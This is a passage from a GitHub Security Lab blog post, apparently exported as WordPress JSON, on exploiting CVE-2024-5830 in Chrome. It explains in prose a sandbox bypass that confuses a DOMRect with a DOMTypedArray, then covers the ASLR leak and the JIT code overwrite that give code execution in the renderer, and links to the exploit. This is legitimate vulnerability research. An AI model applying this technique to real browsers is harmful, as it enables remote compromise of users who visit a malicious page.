...\n#ifdef V8_ENABLE_SANDBOX\n  \/\/ The raw part must always contain a valid external pointer table index.\n  *out_pointer = reinterpret_cast(\n      ReadExternalPointerField(\n          address() + kExternalPointerOffset, isolate));\n  return true;\n  ...\n}\n<\/code><\/pre>\n<p>The external look up table ensures that an <code>embedder field<\/code> must be a valid index in the table, and also any pointer returned from reading the <code>embedder field<\/code> must point to a valid Blink object. However, with arbitrary read and write in the v8 heap, I can still replace the <code>embedder field<\/code> of one api object by the <code>embedder field<\/code> of another api object that has a different type in Blink. This can then be used to cause type confusion in the Blink object.<\/p>\n<p>In particular, I can cause a type confusion between a <a href=\"https:\/\/developer.mozilla.org\/en-US\/docs\/Web\/API\/DOMRect\"><code>DOMRect<\/code><\/a> and a <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:third_party\/blink\/renderer\/core\/typed_arrays\/dom_typed_array.h;l=15\"><code>DOMTypedArray<\/code><\/a>. A <code>DOMRect<\/code> is a simple data structure, with four properties <code>x<\/code>, <code>y<\/code>, <code>width<\/code>, <code>height<\/code> specifying its dimensions. <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:third_party\/blink\/renderer\/core\/geometry\/dom_rect.h;l=36;bpv=0;bpt=0\">Accessing these properties<\/a> simply involves writing to and reading from the corresponding offsets in the <code>DOMRect<\/code> Blink object. By causing a type confusion between a <code>DOMRect<\/code> and another other Blink object, I can read and write the values of any Blink object from these offsets. In particular, by confusing a <code>DOMRect<\/code> with a <code>DOMTypedArray<\/code>, I can overwrite its <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:third_party\/blink\/renderer\/core\/typed_arrays\/array_buffer\/array_buffer_contents.h;l=157\"><code>backing_store_<\/code><\/a> pointer, which points to the data storage of the <code>DOMTypedArray<\/code>. Changing the <code>backing_store_<\/code> to an arbitrary pointer value and then accessing entries in the <code>DOMTypedArray<\/code> then gives me arbitrary read and write access to the entire memory space.<\/p>\n<p>To defeat ASLR and identify useful addresses in the process memory, note that each api object also contains an <code>embedder field<\/code> that stores a pointer to the <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:third_party\/blink\/renderer\/platform\/bindings\/script_wrappable.h;l=211;bpv=0;bpt=0\"><code>wrapper_type_info<\/code><\/a> of the Blink object. Since these <code>wrapper_type_info<\/code> are global static objects, by confusing this <code>embedder field<\/code> with a <code>DOMRect<\/code> object, I can read the pointer to the <code>wrapper_type_info<\/code> as a property in a <code>DOMRect<\/code>. In particular, I can now read the address of the <a href=\"https:\/\/source.chromium.org\/chromium\/chromium\/src\/+\/refs\/tags\/125.0.6422.112:v8\/src\/common\/ptr-compr.cc;l=26;bpv=0;bpt=0\"><code>TrustedCage::base_<\/code><\/a>, which is the offset to a memory region that contains important objects such as JIT code addresses etc. I can now simply compile a JIT function, and modify the address of its JIT code to achieve arbitrary code execution.<\/p>\n<p>The exploit can be found <a href=\"https:\/\/github.com\/github\/securitylab\/tree\/main\/SecurityExploits\/Chrome\/v8\/CVE_2024_5830\">here<\/a> with some setup notes.<\/p>\n<h2 id=\"conclusion\" id=\"conclusion\" ><a class=\"heading-link\" href=\"#conclusion\">Conclusion<span class=\"heading-hash pl-2 text-italic text-bold\" aria-hidden=\"true\"><\/span><\/a><\/h2>\n<p>In this post, I&rsquo;ve looked at <a href=\"https:\/\/github.com\/advisories\/GHSA-fchp-8m28-g68f\">CVE-2024-5830<\/a>, a confusion between fast and dictionary objects caused by updating of a deprecated map. Map transition and deprecation often introduces complex and subtle problems and has also led to issues that were <a href=\"https:\/\/googleprojectzero.github.io\/0days-in-the-wild\/\/0day-RCAs\/2020\/CVE-2020-16009.html\">exploited in the wild<\/a>. In this case, updating a deprecated map causes it to become a dictionary map unexpectedly, and in particular, the resulting dictionary map is used by code that assumes the input to be a fast map. This allows me to overwrite an internal property of the dictionary map and eventually cause an OOB access to the dictionary. I can then use this OOB access to create a fake object, leading to arbitrary read and write of the v8 heap.<\/p>\n<p>To bypass the v8 heap sandbox, I modify API objects that are wrappers of Blink objects in v8, causing type confusions in objects outside of the heap sandbox. I then leverage this to achieve arbitrary memory read and write outside of the v8 heap sandbox, and in turn arbitrary code execution in the Chrome renderer process.<\/p>\n<\/body><\/html>\n","protected":false},"excerpt":{"rendered":"<p>In this post, I&#8217;ll exploit CVE-2024-5830, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.<\/p>\n","protected":false},"author":1878,"featured_media":76158,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_gh_post_show_toc":"yes","_gh_post_is_no_robots":"no","_gh_post_is_featured":"yes","_gh_post_is_excluded":"no","_gh_post_is_unlisted":"no","_gh_post_related_link_1":"","_gh_post_related_link_2":"","_gh_post_related_link_3":"","_gh_post_sq_img":"","_gh_post_sq_img_id":"","_gh_post_cta_title":"","_gh_post_cta_text":"","_gh_post_cta_link":"","_gh_post_cta_button":"Click Here to Learn More","_gh_post_recirc_hide":"no","_gh_post_recirc_col_1":"78957","_gh_post_recirc_col_2":"78959","_gh_post_recirc_col_3":"78961","_gh_post_recirc_col_4":"77524","_featured_video":"","_gh_post_additional_query_params":"","_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"_wpas_customize_per_network":false,"_links_to":"","_links_to_target":""},"categories":[91,3336],"tags":[3146,2956,1915,3290],"coauthors":[2081],"class_list":["post-79230","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-security","category-vulnerability-research","tag-chrome","tag-exploit-development","tag-github-security-lab","tag-vulnerability-research"],"yoast_head":"<!-- This site is optimized with the Yoast SEO Premium plugin v27.3 (Yoast SEO v27.3) - https:\/\/yoast.com\/product\/yoast-seo-premium-wordpress\/ -->\n<title>From object transition to RCE in the Chrome renderer - The GitHub Blog<\/title>\n<meta name=\"description\" content=\"In this post, I&#039;ll exploit CVE-2024-5830, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"From object transition to RCE in the Chrome renderer\" \/>\n<meta property=\"og:description\" content=\"In this post, I&#039;ll exploit CVE-2024-5830, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/\" \/>\n<meta property=\"og:site_name\" content=\"The GitHub Blog\" \/>\n<meta property=\"article:published_time\" content=\"2024-08-13T15:00:11+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2024-08-13T15:55:39+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"630\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Man Yue Mo\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"Man Yue Mo\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/\"},\"author\":{\"name\":\"Man Yue Mo\",\"@id\":\"https:\\\/\\\/github.blog\\\/#\\\/schema\\\/person\\\/0ac0c5700a6f36214989d4391dbf21b1\"},\"headline\":\"From object transition to RCE in the Chrome renderer\",\"datePublished\":\"2024-08-13T15:00:11+00:00\",\"dateModified\":\"2024-08-13T15:55:39+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/\"},\"wordCount\":2690,\"image\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/Security-DarkMode-3-1.png?fit=1200%2C630\",\"keywords\":[\"Chrome\",\"exploit development\",\"GitHub Security Lab\",\"vulnerability research\"],\"articleSection\":[\"Security\",\"Vulnerability research\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/\",\"url\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/\",\"name\":\"From object transition to RCE in the Chrome renderer - The GitHub Blog\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/github.blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/Security-DarkMode-3-1.png?fit=1200%2C630\",\"datePublished\":\"2024-08-13T15:00:11+00:00\",\"dateModified\":\"2024-08-13T15:55:39+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/github.blog\\\/#\\\/schema\\\/person\\\/0ac0c5700a6f36214989d4391dbf21b1\"},\"description\":\"In this post, I'll exploit CVE-2024-5830, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/#primaryimage\",\"url\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/Security-DarkMode-3-1.png?fit=1200%2C630\",\"contentUrl\":\"https:\\\/\\\/github.blog\\\/wp-content\\\/uploads\\\/2024\\\/01\\\/Security-DarkMode-3-1.png?fit=1200%2C630\",\"width\":1200,\"height\":630},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/from-object-transition-to-rce-in-the-chrome-renderer\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/github.blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Security\",\"item\":\"https:\\\/\\\/github.blog\\\/security\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Vulnerability research\",\"item\":\"https:\\\/\\\/github.blog\\\/security\\\/vulnerability-research\\\/\"},{\"@type\":\"ListItem\",\"position\":4,\"name\":\"From object transition to RCE in the Chrome renderer\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/github.blog\\\/#website\",\"url\":\"https:\\\/\\\/github.blog\\\/\",\"name\":\"The GitHub Blog\",\"description\":\"Updates, ideas, and inspiration from GitHub to help developers build and design software.\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/github.blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/github.blog\\\/#\\\/schema\\\/person\\\/0ac0c5700a6f36214989d4391dbf21b1\",\"name\":\"Man Yue Mo\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g58cb61bd120c032429ede6698f35624c\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g\",\"caption\":\"Man Yue Mo\"},\"url\":\"https:\\\/\\\/github.blog\\\/author\\\/mymo\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"From object transition to RCE in the Chrome renderer - The GitHub Blog","description":"In this post, I'll exploit CVE-2024-5830, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/","og_locale":"en_US","og_type":"article","og_title":"From object transition to RCE in the Chrome renderer","og_description":"In this post, I'll exploit CVE-2024-5830, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.","og_url":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/","og_site_name":"The GitHub Blog","article_published_time":"2024-08-13T15:00:11+00:00","article_modified_time":"2024-08-13T15:55:39+00:00","og_image":[{"width":1200,"height":630,"url":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png","type":"image\/png"}],"author":"Man Yue Mo","twitter_card":"summary_large_image","twitter_misc":{"Written by":"Man Yue Mo","Est. reading time":"13 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/#article","isPartOf":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/"},"author":{"name":"Man Yue Mo","@id":"https:\/\/github.blog\/#\/schema\/person\/0ac0c5700a6f36214989d4391dbf21b1"},"headline":"From object transition to RCE in the Chrome renderer","datePublished":"2024-08-13T15:00:11+00:00","dateModified":"2024-08-13T15:55:39+00:00","mainEntityOfPage":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/"},"wordCount":2690,"image":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/#primaryimage"},"thumbnailUrl":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png?fit=1200%2C630","keywords":["Chrome","exploit development","GitHub Security Lab","vulnerability research"],"articleSection":["Security","Vulnerability research"],"inLanguage":"en-US"},{"@type":"WebPage","@id":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/","url":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/","name":"From object transition to RCE in the Chrome renderer - The GitHub Blog","isPartOf":{"@id":"https:\/\/github.blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/#primaryimage"},"image":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/#primaryimage"},"thumbnailUrl":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png?fit=1200%2C630","datePublished":"2024-08-13T15:00:11+00:00","dateModified":"2024-08-13T15:55:39+00:00","author":{"@id":"https:\/\/github.blog\/#\/schema\/person\/0ac0c5700a6f36214989d4391dbf21b1"},"description":"In this post, I'll exploit CVE-2024-5830, a type confusion in Chrome that allows remote code execution (RCE) in the renderer sandbox of Chrome by a single visit to a malicious site.","breadcrumb":{"@id":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/#primaryimage","url":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png?fit=1200%2C630","contentUrl":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png?fit=1200%2C630","width":1200,"height":630},{"@type":"BreadcrumbList","@id":"https:\/\/github.blog\/security\/vulnerability-research\/from-object-transition-to-rce-in-the-chrome-renderer\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/github.blog\/"},{"@type":"ListItem","position":2,"name":"Security","item":"https:\/\/github.blog\/security\/"},{"@type":"ListItem","position":3,"name":"Vulnerability research","item":"https:\/\/github.blog\/security\/vulnerability-research\/"},{"@type":"ListItem","position":4,"name":"From object transition to RCE in the Chrome renderer"}]},{"@type":"WebSite","@id":"https:\/\/github.blog\/#website","url":"https:\/\/github.blog\/","name":"The GitHub Blog","description":"Updates, ideas, and inspiration from GitHub to help developers build and design software.","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/github.blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/github.blog\/#\/schema\/person\/0ac0c5700a6f36214989d4391dbf21b1","name":"Man Yue Mo","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g58cb61bd120c032429ede6698f35624c","url":"https:\/\/secure.gravatar.com\/avatar\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/b1e7e4060b562f42554cb744fa738e3d3e31d04437c4faf6232bfb29b6d0b6e7?s=96&d=mm&r=g","caption":"Man Yue Mo"},"url":"https:\/\/github.blog\/author\/mymo\/"}]}},"jetpack_publicize_connections":[],"jetpack_featured_media_url":"https:\/\/github.blog\/wp-content\/uploads\/2024\/01\/Security-DarkMode-3-1.png?fit=1200%2C630","jetpack_shortlink":"https:\/\/wp.me\/pamS32-kBU","jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts\/79230","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/users\/1878"}],"replies":[{"embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/comments?post=79230"}],"version-history":[{"count":5,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts\/79230\/revisions"}],"predecessor-version":[{"id":79267,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/posts\/79230\/revisions\/79267"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/media\/76158"}],"wp:attachment":[{"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/media?parent=79230"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/categories?post=79230"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/tags?post=79230"},{"taxonomy":"author","embeddable":true,"href":"https:\/\/github.blog\/wp-json\/wp\/v2\/coauthors?post=79230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}